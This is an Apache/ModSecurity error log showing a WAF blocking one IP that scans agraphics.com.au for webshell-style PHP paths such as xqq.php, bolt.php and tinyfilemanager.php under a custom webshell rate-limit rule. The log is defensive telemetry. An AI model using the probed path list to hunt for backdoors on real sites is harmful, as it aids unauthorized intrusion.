[Fri Apr 17 14:33:57.701972 2026] [:error] [pid 9152:tid 9205] [client 74.234.56.128:27986] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "aeHUVZJYca8I3TNCwIf-ugAAAE8"]
[Fri Apr 17 14:33:58.114222 2026] [:error] [pid 51878:tid 51881] [client 74.234.56.128:28023] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aeHUVknQhUtMbw9EsgYajwAAAQE"]
[Fri Apr 17 14:33:58.295684 2026] [:error] [pid 51878:tid 51897] [client 74.234.56.128:26982] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "aeHUVknQhUtMbw9EsgYakAAAARE"]
[Fri Apr 17 14:33:58.707040 2026] [:error] [pid 9263:tid 9266] [client 74.234.56.128:27426] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aeHUVhP68VyHNvj1e56jjgAAAME"]
[Fri Apr 17 14:33:58.829464 2026] [:error] [pid 9263:tid 9273] [client 74.234.56.128:28024] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xqq.php"] [unique_id "aeHUVhP68VyHNvj1e56jjwAAAMg"]
[Fri Apr 17 14:33:59.259438 2026] [:error] [pid 9263:tid 9280] [client 74.234.56.128:26973] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aeHUVxP68VyHNvj1e56jkgAAAM8"]
[Fri Apr 17 14:33:59.374332 2026] [:error] [pid 9263:tid 9283] [client 74.234.56.128:28419] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xqq.php"] [unique_id "aeHUVxP68VyHNvj1e56jlAAAANI"]
[Fri Apr 17 14:33:59.815270 2026] [:error] [pid 51878:tid 51901] [client 74.234.56.128:28459] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aeHUV0nQhUtMbw9EsgYalAAAARU"]
[Fri Apr 17 14:33:59.928105 2026] [:error] [pid 9153:tid 9230] [client 74.234.56.128:27930] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xqq.php"] [unique_id "aeHUV-MHGxkTZX3c45fPYAAAAIw"]
[Fri Apr 17 14:34:00.438690 2026] [:error] [pid 9263:tid 9274] [client 74.234.56.128:27426] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aeHUWBP68VyHNvj1e56jlgAAAMk"]
[Fri Apr 17 14:34:00.454690 2026] [:error] [pid 9263:tid 9269] [client 74.234.56.128:24434] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xqq.php"] [unique_id "aeHUWBP68VyHNvj1e56jlwAAAMQ"]
[Fri Apr 17 14:34:01.006680 2026] [:error] [pid 25010:tid 25037] [client 74.234.56.128:27926] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aeHUWY-7kkf42RarqQ1FpAAAAVg"]
[Fri Apr 17 14:34:01.008872 2026] [:error] [pid 9153:tid 9221] [client 74.234.56.128:26903] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plss3.php"] [unique_id "aeHUWeMHGxkTZX3c45fPYQAAAIM"]
[Fri Apr 17 14:34:01.539604 2026] [:error] [pid 51878:tid 51891] [client 74.234.56.128:26930] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aeHUWUnQhUtMbw9EsgYalwAAAQs"]
[Fri Apr 17 14:34:01.557699 2026] [:error] [pid 9152:tid 9196] [client 74.234.56.128:28014] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plss3.php"] [unique_id "aeHUWZJYca8I3TNCwIf-vwAAAEY"]
[Fri Apr 17 14:34:02.039848 2026] [:error] [pid 9152:tid 9200] [client 74.234.56.128:27405] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aeHUWpJYca8I3TNCwIf-wAAAAEo"]
[Fri Apr 17 14:34:02.061376 2026] [:error] [pid 9153:tid 9240] [client 74.234.56.128:25975] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plss3.php"] [unique_id "aeHUWuMHGxkTZX3c45fPZAAAAJY"]
[Fri Apr 17 14:34:02.576546 2026] [:error] [pid 51878:tid 51904] [client 74.234.56.128:23836] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plss3.php"] [unique_id "aeHUWknQhUtMbw9EsgYamQAAARg"]
[Fri Apr 17 14:34:02.580590 2026] [:error] [pid 61523:tid 61560] [client 74.234.56.128:28021] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aeHUWsOaH-Pgc7WEf4NGqwAAAdI"]
[Fri Apr 17 14:34:03.101504 2026] [:error] [pid 9263:tid 9278] [client 74.234.56.128:27962] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aaa.php"] [unique_id "aeHUWxP68VyHNvj1e56jmQAAAM0"]
[Fri Apr 17 14:34:03.106897 2026] [:error] [pid 61523:tid 61547] [client 74.234.56.128:28484] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aeHUW8OaH-Pgc7WEf4NGrgAAAcU"]
[Fri Apr 17 14:34:03.609276 2026] [:error] [pid 61523:tid 61552] [client 74.234.56.128:25965] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aaa.php"] [unique_id "aeHUW8OaH-Pgc7WEf4NGrwAAAco"]
[Fri Apr 17 14:34:03.621733 2026] [:error] [pid 61523:tid 61558] [client 74.234.56.128:28518] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aeHUW8OaH-Pgc7WEf4NGsAAAAdA"]
[Fri Apr 17 14:34:04.145826 2026] [:error] [pid 61523:tid 61553] [client 74.234.56.128:24871] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aaa.php"] [unique_id "aeHUXMOaH-Pgc7WEf4NGsgAAAcs"]
[Fri Apr 17 14:34:04.185493 2026] [:error] [pid 61523:tid 61551] [client 74.234.56.128:26957] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aeHUXMOaH-Pgc7WEf4NGswAAAck"]
[Fri Apr 17 14:34:04.673588 2026] [:error] [pid 61523:tid 61544] [client 74.234.56.128:25367] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aaa.php"] [unique_id "aeHUXMOaH-Pgc7WEf4NGtQAAAcI"]
[Fri Apr 17 14:34:04.704213 2026] [:error] [pid 34273:tid 34285] [client 74.234.56.128:28543] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aeHUXGuQDW686mK3dgHDLQAAAYo"]
[Fri Apr 17 14:34:05.186447 2026] [:error] [pid 9152:tid 9197] [client 74.234.56.128:28461] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aeHUXZJYca8I3TNCwIf-xAAAAEc"]
[Fri Apr 17 14:34:05.303888 2026] [:error] [pid 34273:tid 34276] [client 74.234.56.128:27907] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aeHUXWuQDW686mK3dgHDLwAAAYE"]
[Fri Apr 17 14:34:05.736681 2026] [:error] [pid 61523:tid 61550] [client 74.234.56.128:26384] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aeHUXcOaH-Pgc7WEf4NGuAAAAcg"]
[Fri Apr 17 14:34:05.887415 2026] [:error] [pid 9152:tid 9192] [client 74.234.56.128:28526] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeHUXZJYca8I3TNCwIf-yAAAAEI"]
[Fri Apr 17 14:34:06.259469 2026] [:error] [pid 34273:tid 34297] [client 74.234.56.128:26437] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aeHUXmuQDW686mK3dgHDMAAAAZY"]
[Fri Apr 17 14:34:06.417577 2026] [:error] [pid 61523:tid 61557] [client 74.234.56.128:28533] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeHUXsOaH-Pgc7WEf4NGuQAAAc8"]
[Fri Apr 17 14:34:06.763554 2026] [:error] [pid 9152:tid 9213] [client 74.234.56.128:28532] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aeHUXpJYca8I3TNCwIf-yQAAAFc"]
[Fri Apr 17 14:34:07.031413 2026] [:error] [pid 34273:tid 34284] [client 74.234.56.128:24841] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeHUX2uQDW686mK3dgHDNgAAAYk"]
[Fri Apr 17 14:34:07.318356 2026] [:error] [pid 51878:tid 51901] [client 74.234.56.128:27931] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aeHUX0nQhUtMbw9EsgYaowAAARU"]
[Fri Apr 17 14:34:07.656935 2026] [:error] [pid 34273:tid 34283] [client 74.234.56.128:28458] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeHUX2uQDW686mK3dgHDRQAAAYg"]
[Fri Apr 17 14:34:07.854287 2026] [:error] [pid 9152:tid 9191] [client 74.234.56.128:28460] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aeHUX5JYca8I3TNCwIf-zAAAAEE"]
[Fri Apr 17 14:34:08.230617 2026] [:error] [pid 9152:tid 9210] [client 74.234.56.128:27463] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "aeHUYJJYca8I3TNCwIf-zQAAAFQ"]
[Fri Apr 17 14:34:08.385151 2026] [:error] [pid 9151:tid 9161] [client 74.234.56.128:23322] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aeHUYMhTVuRPkua22vQU1AAAAAA"]
[Fri Apr 17 14:34:08.799211 2026] [:error] [pid 9152:tid 9198] [client 74.234.56.128:28482] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "aeHUYJJYca8I3TNCwIf-zgAAAEg"]
[Fri Apr 17 14:34:08.896504 2026] [:error] [pid 9152:tid 9197] [client 74.234.56.128:28447] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aeHUYJJYca8I3TNCwIf-zwAAAEc"]
[Fri Apr 17 14:34:09.309730 2026] [:error] [pid 9263:tid 9272] [client 74.234.56.128:26994] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "aeHUYRP68VyHNvj1e56jogAAAMc"]
[Fri Apr 17 14:34:09.399204 2026] [:error] [pid 9263:tid 9278] [client 74.234.56.128:27966] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeHUYRP68VyHNvj1e56jpAAAAM0"]
[Fri Apr 17 14:34:09.907085 2026] [:error] [pid 61523:tid 61560] [client 74.234.56.128:28416] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "aeHUYcOaH-Pgc7WEf4NGuwAAAdI"]
[Fri Apr 17 14:34:09.929654 2026] [:error] [pid 9152:tid 9206] [client 74.234.56.128:26434] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeHUYZJYca8I3TNCwIf-0AAAAFA"]
[Fri Apr 17 14:34:10.440888 2026] [:error] [pid 9153:tid 9232] [client 74.234.56.128:27442] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xqq.php"] [unique_id "aeHUYuMHGxkTZX3c45fPZgAAAI4"]
[Fri Apr 17 14:34:10.471811 2026] [:error] [pid 61523:tid 61541] [client 74.234.56.128:27914] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeHUYsOaH-Pgc7WEf4NGvgAAAcA"]
[Fri Apr 17 14:34:10.973104 2026] [:error] [pid 9153:tid 9227] [client 74.234.56.128:27990] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xqq.php"] [unique_id "aeHUYuMHGxkTZX3c45fPZwAAAIk"]
[Fri Apr 17 14:34:11.013317 2026] [:error] [pid 9153:tid 9234] [client 74.234.56.128:25914] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeHUY-MHGxkTZX3c45fPaAAAAJA"]
[Fri Apr 17 14:34:11.540361 2026] [:error] [pid 9152:tid 9201] [client 74.234.56.128:27404] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-update.php"] [unique_id "aeHUY5JYca8I3TNCwIf-0wAAAEs"]
[Fri Apr 17 14:34:11.550459 2026] [:error] [pid 9263:tid 9275] [client 74.234.56.128:27493] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xqq.php"] [unique_id "aeHUYxP68VyHNvj1e56jpwAAAMo"]
[Fri Apr 17 14:34:12.079484 2026] [proxy_fcgi:error] [pid 9152:tid 9213] [client 74.234.56.128:26955] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:34:12.087342 2026] [proxy_fcgi:error] [pid 9152:tid 9195] [client 74.234.56.128:27474] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:34:12.337271 2026] [proxy_fcgi:error] [pid 9152:tid 9211] [client 74.234.56.128:26955] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:34:12.364962 2026] [proxy_fcgi:error] [pid 9152:tid 9204] [client 74.234.56.128:27474] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:34:12.609305 2026] [proxy_fcgi:error] [pid 9152:tid 9200] [client 74.234.56.128:26955] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:34:12.626150 2026] [proxy_fcgi:error] [pid 9152:tid 9191] [client 74.234.56.128:27474] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:34:13.006034 2026] [proxy_fcgi:error] [pid 9152:tid 9210] [client 74.234.56.128:27474] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:34:13.378193 2026] [proxy_fcgi:error] [pid 9152:tid 9198] [client 74.234.56.128:26955] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:34:13.545033 2026] [:error] [pid 9152:tid 9206] [client 74.234.56.128:27474] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeHUZZJYca8I3TNCwIf-4AAAAFA"]
[Fri Apr 17 14:34:13.625961 2026] [:error] [pid 9152:tid 9205] [client 74.234.56.128:26955] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aeHUZZJYca8I3TNCwIf-4QAAAE8"]
